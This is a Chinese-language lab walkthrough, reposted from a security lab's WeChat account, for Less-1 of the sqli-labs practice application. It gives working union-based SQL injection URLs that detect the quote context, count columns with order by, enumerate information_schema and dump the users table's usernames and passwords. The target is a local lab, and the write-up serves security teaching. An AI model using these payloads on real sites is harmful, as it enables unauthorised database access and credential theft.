声明
本文作者:CloudStrife(玄螭安全实验室-核心成员)
玄螭安全实验室拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明,文章来源等全部内容。未经玄螭安全实验室允许,不得修改文章内容,不能以任何方式将其用于商业目的。
Sqli-labs教程第一章
本地部署好之后,打开地址,一共有四个部分,如图。
我们首先完成第一部分(Basic Challenges),下面有很多关卡,点击Less-1,进入第一关,如图。
题目的要求是输入ID作为带数值的参数,这里输入?id=1,显示name和password。如图。
可以尝试切换id的值,name和password的值也在随之变化。因为任何与数据库产生交互的地方,都可能存在注入。那么在url最后加入一个单引号。
http://192.168.85.137/sqli-labs-master/Less-1/?id=1' |
页面显示语法错误,如图。
于是我们尝试url后面加个双引号,页面返回正常。
http://192.168.85.137/sqli-labs-master/Less-1/?id=1'' |
至此,我们猜测该SQL语句应该是:
select * from x where id = '$id' limit 0.1; |
因为有单引号包裹,所以可以考虑将单引号闭合,再把后面语句注释掉,就可以执行我们想要的SQL语句了。例如可以这样。
http://192.168.85.137/sqli-labs-master/Less-1/?id=1' --+ 该SQL语句则变为 select * from x where id = '1' --+ limit 0.1; 在Mysql中,--+是单行注释符 |
所以通过使用注释符,把后面语句注释掉,SQL语句只会执行前面的部分。
然后用order by 来判断当前表的字段数。order by x(x为数字),代表按表中第x个字段进行排序,假如表中有4个字段,那么order by 1,则利用第一个字段进行排序,如果order by 5,则会提示错误(因为第五个字段不存在),利用该特性,能判断表中的字段数。
http://192.168.85.137/sqli-labs-master/Less-1/?id=1' order by 1--+ //页面正常 http://192.168.85.137/sqli-labs-master/Less-1/?id=1' order by 2--+ //页面正常 http://192.168.85.137/sqli-labs-master/Less-1/?id=1' order by 3--+ //页面正常 http://192.168.85.137/sqli-labs-master/Less-1/?id=1' order by 4--+ //页面错误 |
根据结果,得出当前表一共是3个字段,使用联合查询,获取数据库中的数据。联合查询union select有个前提,必须知道当前表的字段数,所以在使用union select 联合查询时,前后两个select语句返回的字段数必须相同。那么SQL语句为。
http://192.168.85.137/sqli-labs-master/Less-1/?id=-1' union select 1,database(),3--+ |
获得数据库名为:security,再获取表名。
http://192.168.85.137/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(table_name) ,3 from information_schema.tables where table_schema='security' --+ #group_concat函数作用是将多条数据合并为一条 |
获得一共有四张表,分别是:emails、referers、uagents、users;然后现在获取users表中的字段。Sql语句:
http://192.168.85.137/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema = 'security' and table_name = 'users' --+ |
该语句查询数据库名为security,表名为users的字段,显示当前表一共有3个字段,分别是id、username、password。
接着要查询username和password的值,使用的SQL语句:
http://192.168.85.137/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(username),3 from security.users--+ |
http://192.168.85.137/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(password),3 from security.users--+ |
获得了用户名和密码,这一关得到了最后的结果。最后,来看一下php源代码,Less-1第一关源代码如图。
猜测的SQL语句和我们想象的一样,代码中未对传入的id值进行处理,所以依靠刚才的SQL注入代码,得到了我们想要的结果,此关结束。
原文始发于微信公众号(玄螭安全实验室):sqli-labs教程第一章
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论